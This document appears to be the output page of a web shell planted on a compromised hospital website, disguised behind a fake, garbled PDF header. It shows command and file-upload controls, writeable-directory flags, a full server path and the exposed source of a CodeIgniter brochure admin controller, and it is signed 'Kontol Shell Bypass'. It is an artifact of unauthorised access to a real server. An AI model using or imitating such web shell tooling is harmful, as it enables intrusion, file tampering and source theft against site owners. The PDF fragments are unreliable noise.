%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/hbackup/application/controllers/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/hbackup/application/controllers/admin/Brochure.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Brochure extends CI_Controller {

	function __construct() {
        parent::__construct();
        
        if((!isset($_SESSION['is_logged']))||($_SESSION['is_logged']==false))
        {
        	$_SESSION['redirect'] = base_url()."admin/Brochure/view_brochures";
        	
        	redirect(base_url().'admin/login');
        }
	//	redirect_admin_not_logged();
        $this->load->model('brochure_model', 'brochure');
    }
	
	public function index()
	{
		$this->view_brochures();
	}
	
	public function do_upload($field_name, $upload_path= '', $file_name= '')
	{
		if($upload_path!=''){
			$config['upload_path'] = $upload_path;
		}
		else{
			$config['upload_path'] = './uploads';
		}
		$config['allowed_types'] = 'jpeg|jpg|png|JPEG|JPG|PNG|pdf';
		$config['max_size']     = '5000';
		$config['max_width'] = '1500';
		$config['max_height'] = '1500';
		if($file_name!=''){
			$config['file_name'] = $file_name;
		}
		
		$this->upload->initialize($config);
		
		if ( ! $this->upload->do_upload($field_name))
		{
			$error = array('error' => $this->upload->display_errors());
			
			echo '<script>console.log("'.$error['error'].'")</script>';

	//		$this->load->view('upload_form', $error);
			
			return 0;
		}
		else
		{
			$data = array('upload_data' => $this->upload->data());

			return $this->upload->data('file_name');	
			
		}

	}
	
	public function add_brochure($id=0)
	{
		
		$data = array();
		$data['data_string'] = '';
		$brochureID = $id;
		
		echo '<script>console.log("add brochure")</script>';
		
		if($id){
		
			$records = $this->brochure->get_brochure($id);
			
			echo '<script>console.log("update brochure")</script>';
			
			if(!$records){
				
				show_404();
				
			}
			else{
				
				$data = array(
					'brochureID' => $records['brochureID'],
					'brochureTitle' => $records['brochureTitle'],
					'brochureDescription' => $records['brochureDescription'],
					'brochurePdf' => $records['brochurePdf'],
					'brochureBanner' => $records['brochureBanner'],
					'status' => $records['status'],
					'brochurePageURL' => $records['brochurePageURL']
				); 
				
			}

		}
		
		$post=$this->input->post();
		
		if($post){	
			
			echo '<script>console.log("post")</script>';
			
			$this->form_validation->set_rules('brochureTitle', 'Brochure Title', 'required');
			$this->form_validation->set_rules('brochurePageURL', 'Brochure Slug', 'required');
//			$this->form_validation->set_rules('profile_pic', 'Profile Picture','required'); 
			
			if ($this->form_validation->run() == FALSE)
            {
            		echo '<script>console.log("Error in validating brochure")</script>'; //console.log("Error in validating brochure");
  		         //   $this->load->view('admin/AddBrochure');
            }
			else
			{
				
				$document ='';
				$banner ='';
				
				if($_FILES['document']['name']){
					$document = $this->do_upload('document', './uploads/files', 'br_document_'.$post['brochurePageURL']);
					$data['error'] = array('error' => $this->upload->display_errors());	
				}

				if($_FILES['banner']['name']){
					$banner = $this->do_upload('banner', './uploads/files', 'br_banner_'.$post['brochurePageURL']);
					$data['error'] = array('error' => $this->upload->display_errors());	
				}
				
				
				if((($_FILES['document']['name'])&&(!$document)) || (($_FILES['banner']['name'])&&(!$banner))){
					echo '<script>console.log("fail upload")</script>';
					
				}
				else{
					if(isset($post['brochureID'])){
						$brochureID = $post['brochureID'];
					}
				
					$insert_data = array(	
						'brochureTitle' => $post['brochureTitle'],
						'brochureDescription' => $post['brochureDescription'],
						'status' => $post['status'],
						'brochurePageURL' => $post['brochurePageURL']
					);
					
					if($document!=''){
						$insert_data['brochurePdf'] = $document;
					}
					if($banner!=''){
						$insert_data['brochureBanner'] = $banner;
					}
				
					$success = '';	
					 echo '<script>console.log("'.$brochureID.'")</script>';
					if($brochureID){
						$success = $this->brochure->update_brochure($insert_data,$brochureID);
					}
					else{
						
						$success = $this->brochure->insert_brochure($insert_data);
						echo '<script>console.log("'.$success.'")</script>';
					}			
				
					if($success){
						redirect(base_url()."admin/Brochure/view_brochures");

					};
				}
			}
       			
		}
		
		$this->load->view('admin/AddBrochure',$data);
	}
	
	
	public function update_brochure($id){
	
		$this->add_brochure($id);
	}
	
	
	
	public function view_brochures()
	{
		$data = array();
		$data['records'] = $this->brochure->get_brochures();
		if(!$data){
			show_404();
		}
		$this->load->view('admin/ViewBrochure',$data);
	}
	
	public function remove_brochure($id){
        
        $data = array();
		$data1 = array();
		$brochureID = $id;
		// $id = $_GET['id'];
   
		if($this->brochure->delete_brochure($id)){
			$data1['msg'] = 'Record deleted succesfully';
		}
		else{
			$data1['msg'] = 'Record could not be deleted';
		}
		
		$data['records'] = $this->brochure->get_brochures();
			
		if(!$data){
			show_404();
		}
				
		$this->load->view('admin/ViewBrochure',$data);

    }
	
	
	
	
	
	
	
}

Kontol Shell Bypass